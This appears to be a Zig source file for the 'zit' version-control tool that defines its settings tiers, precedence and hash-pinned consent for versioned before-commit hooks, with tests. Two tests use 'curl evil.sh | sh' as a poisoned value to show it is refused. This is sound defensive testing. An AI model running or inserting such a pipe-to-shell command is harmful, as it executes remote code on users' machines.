Skip to content
zit Artifact [21daeb1740]
Login

Artifact [21daeb1740]

Artifact 21daeb1740ded08de2c54f4eaf05cda04947f548c5c8ba682f1677ad45685729:


//! The settings model: which settings exist, where a value may live, and which
//! tier wins.
//!
//! ## The organising idea is HAZARD, not scope (#83)
//!
//! A setting's blast radius decides how far it is allowed to travel, and that
//! one rule generates the whole table:
//!
//!   * **Data** -- `ignore-glob`, `keep-glob`, `manifest`, `binary-glob`. The
//!     worst a wrong value does is list the wrong files. These may be VERSIONED:
//!     a tracked `.zit-settings/<name>` file clones with the repository, is
//!     reviewable in a diff, and travels to everyone working on the project.
//!
//!   * **Executable** -- `pgp-command`. The value is a command line this machine
//!     RUNS, so a peer that could set it would have remote code execution. It
//!     never propagates by any mechanism, in any transport. Fossil classifies
//!     these `sensitive` for exactly this reason, and puts them in no config
//!     group.
//!
//!   * **Executable, project-owned** -- `before-commit` (#82). The project has a
//!     legitimate claim to declare its own checks, but cloning must never run
//!     them. The DECLARATION versions; the PERMISSION TO EXECUTE is local,
//!     explicit, and content-pinned (see `trust`). Git refuses the first half
//!     (hooks never clone, hence husky/lefthook); fossil's boundary is an
//!     accident of transport (a `before-commit` hook crosses a file clone and
//!     executes, but not an HTTP one). Splitting the two is what makes it safe.
//!
//! ## Precedence
//!
//! Highest to lowest, matching fossil's `db_get` (src/db.c) so an operator's
//! intuition carries over:
//!
//!   1. environment  -- only where a setting names one (`$ZIT_PGP_COMMAND`), so
//!                      a single invocation can be redirected without editing
//!                      anything durable
//!   2. versioned    -- `.zit-settings/<name>`, versionable settings only. It
//!                      OVERRIDES both stored tiers: fossil applies
//!                      `db_get_versioned` after reading config, and the project's
//!                      committed answer is meant to win over a stale local one.
//!   3. repository   -- this repository's config frame
//!   4. global       -- this operator's settings file, shared by every repository
//!   5. default      -- the built-in
//!
//! The rule worth remembering: a value that is SHADOWED must say so. An operator
//! editing the tier that is not in effect, twice, is the failure this module
//! exists to prevent -- which is why `resolve` returns a `Source` and never a
//! bare value.

const std = @import("std");

/// Where a resolved value came from. Ordered highest-precedence first, so a
/// comparison on the enum is a comparison on precedence.
pub const Source = enum {
    environment,
    versioned,
    repository,
    global,
    default,

    /// One word for a listing. Deliberately terse: it sits in a column beside
    /// the value, and the value is what the operator came to read.
    pub fn label(self: Source) []const u8 {
        return switch (self) {
            .environment => "environment",
            .versioned => "versioned",
            .repository => "repository",
            .global => "global",
            .default => "default",
        };
    }
};

/// What a setting's value IS, which decides how it is parsed and how a bad
/// value is reported.
pub const Kind = enum { boolean, string };

/// How far a setting is allowed to travel -- the hazard classification above.
pub const Tier = enum {
    /// Data. May be versioned into `.zit-settings/<name>` and thus clone.
    data,
    /// Executable. Local or global only; never versioned, never on the wire.
    executable,
    /// Executable but project-owned: the declaration versions, execution needs
    /// local consent recorded against the declaration's content hash.
    consented,
};

pub const Setting = enum {
    autosync,
    ignore_glob,
    keep_glob,
    manifest,
    clearsign,
    pgp_command,
    before_commit,

    /// The wire/CLI spelling. Kept separate from the Zig identifier so the
    /// hyphenated names fossil uses are exact.
    pub fn name(self: Setting) []const u8 {
        return switch (self) {
            .autosync => "autosync",
            .ignore_glob => "ignore-glob",
            .keep_glob => "keep-glob",
            .manifest => "manifest",
            .clearsign => "clearsign",
            .pgp_command => "pgp-command",
            .before_commit => "before-commit",
        };
    }

    pub fn kind(self: Setting) Kind {
        return switch (self) {
            .autosync, .clearsign => .boolean,
            .ignore_glob, .keep_glob, .manifest, .pgp_command, .before_commit => .string,
        };
    }

    pub fn tier(self: Setting) Tier {
        return switch (self) {
            .autosync, .ignore_glob, .keep_glob, .manifest => .data,
            .clearsign, .pgp_command => .executable,
            .before_commit => .consented,
        };
    }

    /// Whether a tracked `.zit-settings/<name>` file may supply this value.
    /// True for data settings, and for `before-commit` -- whose declaration is
    /// exactly the thing that SHOULD version, since its whole purpose is to
    /// ship the project's checks with the project. Never for `executable`.
    pub fn versionable(self: Setting) bool {
        return switch (self.tier()) {
            .data, .consented => true,
            .executable => false,
        };
    }

    /// The environment variable that overrides this setting, if any.
    pub fn envVar(self: Setting) ?[]const u8 {
        return switch (self) {
            .pgp_command => "ZIT_PGP_COMMAND",
            else => null,
        };
    }

    /// The built-in value when no tier supplies one.
    pub fn default(self: Setting) []const u8 {
        return switch (self) {
            // Stored as the deviation (`autosync_off`), so the default reads on.
            .autosync => "on",
            .clearsign => "off",
            // fossil's own default, trailing space included: the `-o ` binds
            // OUTFILE and the manifest arrives as the positional INFILE.
            .pgp_command => "gpg --clearsign -o ",
            .ignore_glob, .keep_glob, .manifest, .before_commit => "",
        };
    }

    /// The tracked file a versionable setting reads from.
    /// Caller owns the returned buffer slice.
    pub fn versionedPath(self: Setting, buf: []u8) ?[]const u8 {
        if (!self.versionable()) return null;
        return std.fmt.bufPrint(buf, "{s}/{s}", .{ versioned_dir, self.name() }) catch null;
    }

    pub fn byName(text: []const u8) ?Setting {
        inline for (comptime std.enums.values(Setting)) |s| {
            if (std.mem.eql(u8, text, s.name())) return s;
        }
        return null;
    }
};

/// The directory holding versionable settings, matching #64's existing choice
/// (`ignore.versioned_dir`); restated here so this module states the whole
/// model without depending on the ignore matcher.
pub const versioned_dir: []const u8 = ".zit-settings";

/// Longest a versioned settings file may be. A settings value that needs more
/// than this is not a setting.
pub const max_versioned_bytes: usize = 64 * 1024;

/// A resolved setting: the value in effect, and which tier supplied it.
pub const Resolved = struct {
    value: []const u8,
    source: Source,
};

/// What each tier had to say, gathered by the caller. Null means "this tier has
/// no opinion", which is NOT the same as the empty string -- an empty
/// `ignore-glob` set locally is a real value that must shadow a global one.
///
/// Deliberately a plain struct of optionals rather than a reader interface:
/// this module stays sans-IO so precedence is a pure function with a test, and
/// the file/frame/environment reads stay with the code that owns those handles.
pub const Candidates = struct {
    environment: ?[]const u8 = null,
    versioned: ?[]const u8 = null,
    repository: ?[]const u8 = null,
    global: ?[]const u8 = null,
};

/// THE precedence rule, in one place. Every surface that answers "what is this
/// setting" must come through here, so a listing, a commit, and a clean can
/// never disagree about which tier won.
pub fn resolve(setting: Setting, c: Candidates) Resolved {
    // An environment override is only consulted where the setting names one, so
    // a stray variable cannot start driving a setting that never had one.
    if (setting.envVar() != null) {
        if (c.environment) |v| return .{ .value = v, .source = .environment };
    }
    // A versioned file cannot supply an executable setting even if one is
    // somehow present on disk: that is the whole security boundary, so it is
    // enforced HERE, at the resolver, rather than trusted to every caller
    // remembering not to read the file.
    if (setting.versionable()) {
        if (c.versioned) |v| return .{ .value = v, .source = .versioned };
    }
    if (c.repository) |v| return .{ .value = v, .source = .repository };
    if (c.global) |v| return .{ .value = v, .source = .global };
    return .{ .value = setting.default(), .source = .default };
}

/// Names for the human-readable listing of every setting name, used by the
/// unknown-name diagnostic so it never drifts from the enum.
pub fn knownNames(buf: []u8) []const u8 {
    var w: usize = 0;
    inline for (comptime std.enums.values(Setting), 0..) |s, i| {
        if (i > 0) {
            if (w + 2 > buf.len) return buf[0..w];
            @memcpy(buf[w..][0..2], ", ");
            w += 2;
        }
        const n = s.name();
        if (w + n.len > buf.len) return buf[0..w];
        @memcpy(buf[w..][0..n.len], n);
        w += n.len;
    }
    return buf[0..w];
}

/// Parse a boolean setting's spelling. fossil accepts `on`/`off` for these and
/// so does zit; anything else is refused rather than guessed, because guessing
/// "off" for a typo silently disables a check the operator asked for.
pub fn parseBool(text: []const u8) ?bool {
    if (std.mem.eql(u8, text, "on")) return true;
    if (std.mem.eql(u8, text, "off")) return false;
    return null;
}

// ---------------------------------------------------------------------------
// The global tier
// ---------------------------------------------------------------------------

/// The operator-scope settings file: `name value` lines, one per line, `#`
/// comments, blank lines ignored. A TEXT file on purpose -- the repository's own
/// config is a binary frame because it shares a log with artifacts, but this one
/// is read and edited by a person, and a format they can fix with an editor when
/// something goes wrong is worth more than a compact one.
///
/// Location, first that answers:
///   * `$ZIT_CONFIG` -- the file itself, for tests and for an operator who
///     wants it somewhere specific
///   * `$XDG_CONFIG_HOME/zit/settings`
///   * `$HOME/.config/zit/settings`
///
/// Absent is not an error anywhere: no file means no global values, which is
/// the state of every installation that never set one.
pub const global_basename: []const u8 = "settings";
pub const global_subdir: []const u8 = "zit";

pub const GlobalPath = struct {
    /// The full path, borrowed from the caller's buffer.
    path: []const u8,
    /// The directory that must exist before a write. Empty when `$ZIT_CONFIG`
    /// named a bare filename with no directory part.
    dir: []const u8,
};

/// Resolve where the global settings file lives. Null when no home can be
/// determined at all (no `$ZIT_CONFIG`, no `$XDG_CONFIG_HOME`, no `$HOME`) --
/// a legitimate state for a daemon, and one that must degrade to "no global
/// tier" rather than failing every settings read.
pub fn globalPath(environ: anytype, buf: []u8) ?GlobalPath {
    if (environ.getPosix("ZIT_CONFIG")) |explicit| {
        if (explicit.len == 0 or explicit.len > buf.len) return null;
        @memcpy(buf[0..explicit.len], explicit);
        const path = buf[0..explicit.len];
        const slash = std.mem.lastIndexOfScalar(u8, path, '/');
        return .{ .path = path, .dir = if (slash) |i| path[0..i] else "" };
    }
    if (environ.getPosix("XDG_CONFIG_HOME")) |xdg| {
        if (xdg.len == 0) return null;
        const dir = std.fmt.bufPrint(buf, "{s}/{s}", .{ xdg, global_subdir }) catch return null;
        const path = std.fmt.bufPrint(buf[dir.len..], "/{s}", .{global_basename}) catch return null;
        // The two prints are adjacent in `buf`, so the full path is their span.
        return .{ .path = buf[0 .. dir.len + path.len], .dir = dir };
    }
    if (environ.getPosix("HOME")) |home| {
        if (home.len == 0) return null;
        const dir = std.fmt.bufPrint(buf, "{s}/.config/{s}", .{ home, global_subdir }) catch return null;
        const path = std.fmt.bufPrint(buf[dir.len..], "/{s}", .{global_basename}) catch return null;
        return .{ .path = buf[0 .. dir.len + path.len], .dir = dir };
    }
    return null;
}

/// One `name value` line's parts, or null for a line that carries no setting
/// (blank, or a `#` comment). A malformed line is SKIPPED rather than fatal:
/// this file is hand-edited, and refusing to read any setting because line 7
/// has a stray character would take the operator's signing command down with
/// their typo.
pub fn parseGlobalLine(line: []const u8) ?struct { name: []const u8, value: []const u8 } {
    const trimmed = std.mem.trim(u8, line, " \t\r");
    if (trimmed.len == 0 or trimmed[0] == '#') return null;
    const sp = std.mem.indexOfAny(u8, trimmed, " \t") orelse
        // A bare name with no value is a legitimate way to spell the empty
        // string, which is how a glob list is cleared.
        return .{ .name = trimmed, .value = "" };
    const name = trimmed[0..sp];
    if (name.len == 0) return null;
    const value = std.mem.trim(u8, trimmed[sp + 1 ..], " \t");
    return .{ .name = name, .value = value };
}

/// Look one setting up in already-read global file text. Last occurrence wins,
/// matching how every line-oriented config file an operator has met behaves.
pub fn globalLookup(text: []const u8, setting: Setting) ?[]const u8 {
    var found: ?[]const u8 = null;
    var it = std.mem.splitScalar(u8, text, '\n');
    while (it.next()) |line| {
        const parsed = parseGlobalLine(line) orelse continue;
        if (std.mem.eql(u8, parsed.name, setting.name())) found = parsed.value;
    }
    return found;
}

/// Rewrite `text` so `setting` reads `value`, returning the new file contents.
/// An existing line for the setting is REPLACED IN PLACE so hand-written
/// comments and ordering survive an edit; a setting not present is appended.
/// Caller owns the result.
pub fn globalSet(
    gpa: std.mem.Allocator,
    text: []const u8,
    setting: Setting,
    value: []const u8,
) error{OutOfMemory}![]u8 {
    var out: std.ArrayList(u8) = .empty;
    errdefer out.deinit(gpa);
    var replaced = false;
    var it = std.mem.splitScalar(u8, text, '\n');
    var first = true;
    while (it.next()) |line| {
        // `splitScalar` yields a trailing empty piece for text ending in \n;
        // dropping it here keeps the file from growing a blank line per edit.
        if (it.peek() == null and line.len == 0) break;
        if (!first) try out.append(gpa, '\n');
        first = false;
        const parsed = parseGlobalLine(line);
        if (parsed != null and std.mem.eql(u8, parsed.?.name, setting.name())) {
            if (replaced) {
                // A duplicate earlier line is now dead; drop it rather than
                // leave a value that no longer takes effect sitting in the file.
                out.items.len -= @intFromBool(out.items.len > 0);
                first = out.items.len == 0;
                continue;
            }
            try out.print(gpa, "{s} {s}", .{ setting.name(), value });
            replaced = true;
            continue;
        }
        try out.appendSlice(gpa, line);
    }
    if (!replaced) {
        if (!first) try out.append(gpa, '\n');
        try out.print(gpa, "{s} {s}", .{ setting.name(), value });
    }
    try out.append(gpa, '\n');
    return out.toOwnedSlice(gpa);
}

// ---------------------------------------------------------------------------

const testing = std.testing;

/// A stand-in for the process environment, so precedence is testable without
/// one. Mirrors the one method `globalPath` needs.
const FakeEnv = struct {
    pairs: []const [2][]const u8,
    fn getPosix(self: FakeEnv, key: []const u8) ?[]const u8 {
        for (self.pairs) |p| if (std.mem.eql(u8, p[0], key)) return p[1];
        return null;
    }
};

test "settings #83: hazard decides propagation — executable settings are never versionable" {
    // The model's load-bearing claim, asserted over the WHOLE enum rather than
    // a sample: if a future setting is added to the executable tier and someone
    // marks it versionable, that is remote code execution arriving by clone,
    // and it must fail here rather than in the field.
    inline for (comptime std.enums.values(Setting)) |s| {
        switch (s.tier()) {
            .executable => try testing.expect(!s.versionable()),
            .data, .consented => try testing.expect(s.versionable()),
        }
    }
    // The two settings whose classification the issue argued explicitly.
    try testing.expectEqual(Tier.executable, Setting.pgp_command.tier());
    try testing.expectEqual(Tier.consented, Setting.before_commit.tier());
    try testing.expect(!Setting.pgp_command.versionable());
    try testing.expect(Setting.before_commit.versionable());
}

test "settings #83: names round-trip and the known-name list is generated, not hand-copied" {
    inline for (comptime std.enums.values(Setting)) |s| {
        try testing.expectEqual(s, Setting.byName(s.name()).?);
    }
    try testing.expect(Setting.byName("no-such-setting") == null);
    var buf: [256]u8 = undefined;
    const known = knownNames(&buf);
    // Every name appears, so a new setting cannot be added without the
    // diagnostic listing it.
    inline for (comptime std.enums.values(Setting)) |s| {
        try testing.expect(std.mem.indexOf(u8, known, s.name()) != null);
    }
}

test "settings #83: Source order IS precedence order" {
    // `resolve` picks the first tier that answers, so the enum's declaration
    // order is the policy. Stated as a test because a reorder would silently
    // change which tier wins.
    try testing.expect(@intFromEnum(Source.environment) < @intFromEnum(Source.versioned));
    try testing.expect(@intFromEnum(Source.versioned) < @intFromEnum(Source.repository));
    try testing.expect(@intFromEnum(Source.repository) < @intFromEnum(Source.global));
    try testing.expect(@intFromEnum(Source.global) < @intFromEnum(Source.default));
}

test "settings #83: global path resolution prefers ZIT_CONFIG, then XDG, then HOME" {
    var buf: [512]u8 = undefined;
    {
        const env = FakeEnv{ .pairs = &.{.{ "ZIT_CONFIG", "/tmp/x/zitrc" }} };
        const g = globalPath(env, &buf).?;
        try testing.expectEqualStrings("/tmp/x/zitrc", g.path);
        try testing.expectEqualStrings("/tmp/x", g.dir);
    }
    {
        const env = FakeEnv{ .pairs = &.{ .{ "XDG_CONFIG_HOME", "/xdg" }, .{ "HOME", "/home/u" } } };
        const g = globalPath(env, &buf).?;
        try testing.expectEqualStrings("/xdg/zit/settings", g.path);
        try testing.expectEqualStrings("/xdg/zit", g.dir);
    }
    {
        const env = FakeEnv{ .pairs = &.{.{ "HOME", "/home/u" }} };
        const g = globalPath(env, &buf).?;
        try testing.expectEqualStrings("/home/u/.config/zit/settings", g.path);
    }
    {
        // No home at all is a legitimate state (a daemon), and must degrade to
        // "no global tier" rather than failing every settings read.
        const env = FakeEnv{ .pairs = &.{} };
        try testing.expect(globalPath(env, &buf) == null);
    }
}

test "settings #83: global file parsing — comments, blanks, bare names, last wins" {
    const text =
        \\# an operator's notes survive
        \\clearsign on
        \\
        \\  pgp-command   gpg --clearsign -o
        \\ignore-glob
        \\clearsign off
        \\garbage-with-no-such-setting whatever
    ;
    // Last occurrence wins, as in every line-oriented config an operator has met.
    try testing.expectEqualStrings("off", globalLookup(text, .clearsign).?);
    // Interior spacing is preserved after the first separator, so a command
    // line with arguments survives verbatim.
    try testing.expectEqualStrings("gpg --clearsign -o", globalLookup(text, .pgp_command).?);
    // A bare name is how the empty string is spelled (clearing a glob list).
    try testing.expectEqualStrings("", globalLookup(text, .ignore_glob).?);
    // A setting the file never mentions is absent, not empty.
    try testing.expect(globalLookup(text, .autosync) == null);
}

test "settings #83: globalSet replaces in place, keeps comments, and appends when absent" {
    const gpa = testing.allocator;
    {
        const before = "# keep me\nclearsign on\nautosync off\n";
        const after = try globalSet(gpa, before, .clearsign, "off");
        defer gpa.free(after);
        // The comment and the unrelated setting survive an edit -- the reason
        // this is a text file rather than a rewritten blob.
        try testing.expect(std.mem.indexOf(u8, after, "# keep me") != null);
        try testing.expect(std.mem.indexOf(u8, after, "autosync off") != null);
        try testing.expectEqualStrings("off", globalLookup(after, .clearsign).?);
        try testing.expectEqual(@as(usize, 1), std.mem.count(u8, after, "clearsign "));
    }
    {
        // Absent -> appended, and the file still ends in exactly one newline.
        const after = try globalSet(gpa, "autosync off\n", .pgp_command, "/usr/bin/signer");
        defer gpa.free(after);
        try testing.expectEqualStrings("/usr/bin/signer", globalLookup(after, .pgp_command).?);
        try testing.expect(std.mem.endsWith(u8, after, "\n"));
        try testing.expect(!std.mem.endsWith(u8, after, "\n\n"));
    }
    {
        // Empty file -> just the one line.
        const after = try globalSet(gpa, "", .autosync, "off");
        defer gpa.free(after);
        try testing.expectEqualStrings("autosync off\n", after);
    }
    {
        // A duplicate line for the same setting collapses: leaving a value that
        // no longer takes effect in the file is how an operator edits the wrong
        // one next time.
        const after = try globalSet(gpa, "clearsign on\nclearsign on\n", .clearsign, "off");
        defer gpa.free(after);
        try testing.expectEqual(@as(usize, 1), std.mem.count(u8, after, "clearsign "));
        try testing.expectEqualStrings("off", globalLookup(after, .clearsign).?);
    }
}

test "settings #83: booleans refuse a guess" {
    try testing.expectEqual(true, parseBool("on").?);
    try testing.expectEqual(false, parseBool("off").?);
    // "yes"/"true"/"1" are NOT accepted: guessing "off" for a typo silently
    // disables a check the operator asked for.
    try testing.expect(parseBool("yes") == null);
    try testing.expect(parseBool("true") == null);
    try testing.expect(parseBool("") == null);
}

test "settings #83: versioned paths live under .zit-settings and only for versionable settings" {
    var buf: [128]u8 = undefined;
    try testing.expectEqualStrings(".zit-settings/keep-glob", Setting.keep_glob.versionedPath(&buf).?);
    try testing.expectEqualStrings(".zit-settings/before-commit", Setting.before_commit.versionedPath(&buf).?);
    // The whole point: no tracked file can ever supply an executable setting.
    try testing.expect(Setting.pgp_command.versionedPath(&buf) == null);
    try testing.expect(Setting.clearsign.versionedPath(&buf) == null);
}

test "settings #83: resolve implements the documented precedence, and enforces the tier boundary" {
    // Every tier answering: the highest wins, in order.
    const all: Candidates = .{
        .environment = "env",
        .versioned = "ver",
        .repository = "repo",
        .global = "glob",
    };
    // pgp-command names an environment variable, so the environment wins.
    try testing.expectEqual(Source.environment, resolve(.pgp_command, all).source);
    // keep-glob names none, so the environment candidate is ignored entirely
    // and the versioned file wins -- a stray variable cannot start driving a
    // setting that never had one.
    try testing.expectEqual(Source.versioned, resolve(.keep_glob, all).source);
    try testing.expectEqualStrings("ver", resolve(.keep_glob, all).value);

    // THE security boundary, asserted at the resolver: a versioned file cannot
    // supply an executable setting even when one is present on disk. Without
    // the environment candidate, pgp-command must fall past `versioned` to the
    // repository tier rather than executing what a clone shipped.
    const no_env: Candidates = .{ .versioned = "curl evil.sh | sh", .repository = "repo", .global = "glob" };
    const r = resolve(.pgp_command, no_env);
    try testing.expectEqual(Source.repository, r.source);
    try testing.expectEqualStrings("repo", r.value);

    // Falling through, one tier at a time.
    try testing.expectEqual(Source.repository, resolve(.keep_glob, .{ .repository = "repo", .global = "glob" }).source);
    try testing.expectEqual(Source.global, resolve(.keep_glob, .{ .global = "glob" }).source);
    try testing.expectEqual(Source.default, resolve(.keep_glob, .{}).source);

    // Defaults come from the setting, not from the caller.
    try testing.expectEqualStrings("on", resolve(.autosync, .{}).value);
    try testing.expectEqualStrings("off", resolve(.clearsign, .{}).value);
    try testing.expectEqualStrings("gpg --clearsign -o ", resolve(.pgp_command, .{}).value);

    // An EMPTY local value is a real value and must shadow a global one --
    // clearing a glob list locally is exactly this case, and treating "" as
    // absent would silently reinstate the global list.
    const cleared = resolve(.ignore_glob, .{ .repository = "", .global = "*.tmp" });
    try testing.expectEqual(Source.repository, cleared.source);
    try testing.expectEqualStrings("", cleared.value);
}

// ---------------------------------------------------------------------------
// #82 — before-commit: a versioned declaration, local consent to execute
// ---------------------------------------------------------------------------

/// Whether a `before-commit` declaration may be EXECUTED, and why not when it
/// may not. Separate from resolving its value, because the two questions have
/// different answers: the command is perfectly well-defined while still being
/// something this machine has not agreed to run.
pub const TrustVerdict = enum {
    /// No declaration; nothing to run.
    none,
    /// The operator authored it here (repository, global, or environment tier),
    /// so no consent step applies -- consent is what authoring IS.
    self_authored,
    /// A versioned declaration whose content hash matches the local record.
    trusted,
    /// A versioned declaration with no local trust record at all.
    untrusted,
    /// A versioned declaration that WAS trusted and has since changed. Held
    /// apart from `untrusted` because the remedy and the risk differ: this is
    /// the case where a pull may have altered a script the operator already
    /// agreed to run, and the diagnostic should say so.
    changed,
};

/// Lowercase-hex SHA-256 of a declaration -- the identity a trust record pins.
/// Hashing the CONTENT rather than recording a boolean is what makes consent
/// self-revoking: any edit, from any source, produces a different hash and the
/// check refuses again until a human looks at it.
pub fn declarationHash(text: []const u8, out: *[64]u8) []const u8 {
    var digest: [32]u8 = undefined;
    std.crypto.hash.sha2.Sha256.hash(text, &digest, .{});
    const hex = std.fmt.bytesToHex(digest, .lower);
    @memcpy(out, &hex);
    return out[0..];
}

/// The execution verdict for a resolved `before-commit`.
///
/// The whole of #82's security argument is these few lines. Git refuses to let
/// hooks travel at all, so projects reach for husky and lefthook to put them
/// back; fossil lets them travel and executes them, with a boundary that
/// happens to depend on the transport. Splitting DECLARATION from CONSENT gives
/// the project its checks and the machine its veto:
///
///   * a declaration the operator wrote here runs, because writing it is consent;
///   * a declaration that arrived with the repository runs only after this
///     checkout says so, once, against that exact content;
///   * cloning a hostile repository executes nothing, and neither does pulling
///     a poisoned edit into a repository whose check was already trusted.
pub fn trustVerdict(
    declaration: []const u8,
    source: Source,
    trusted_hash: []const u8,
) TrustVerdict {
    if (declaration.len == 0) return .none;
    // Only a VERSIONED declaration is untrusted by default: the other tiers are
    // this machine's own state and cannot have been supplied by a peer.
    if (source != .versioned) return .self_authored;
    if (trusted_hash.len == 0) return .untrusted;
    var buf: [64]u8 = undefined;
    const want = declarationHash(declaration, &buf);
    return if (std.mem.eql(u8, want, trusted_hash)) .trusted else .changed;
}

test "settings #82: consent is required for versioned declarations only, and self-revokes on edit" {
    var buf: [64]u8 = undefined;
    const decl = "zig fmt --check src && zig build test";
    const h = declarationHash(decl, &buf);

    // No declaration: nothing to decide.
    try testing.expectEqual(TrustVerdict.none, trustVerdict("", .versioned, ""));

    // Authored here -- in ANY local tier -- needs no consent step, because
    // writing the command is the consent.
    try testing.expectEqual(TrustVerdict.self_authored, trustVerdict(decl, .repository, ""));
    try testing.expectEqual(TrustVerdict.self_authored, trustVerdict(decl, .global, ""));
    try testing.expectEqual(TrustVerdict.self_authored, trustVerdict(decl, .environment, ""));

    // Arrived with the repository: inert until this checkout agrees.
    try testing.expectEqual(TrustVerdict.untrusted, trustVerdict(decl, .versioned, ""));
    try testing.expectEqual(TrustVerdict.trusted, trustVerdict(decl, .versioned, h));

    // THE POINT: consent is pinned to CONTENT, so a pulled edit revokes it
    // automatically rather than riding in on a hash nobody re-checked.
    var buf2: [64]u8 = undefined;
    const poisoned = "curl evil.sh | sh";
    try testing.expectEqual(TrustVerdict.changed, trustVerdict(poisoned, .versioned, h));
    // ...and trusting the new content is a different record from the old one.
    try testing.expect(!std.mem.eql(u8, h, declarationHash(poisoned, &buf2)));
}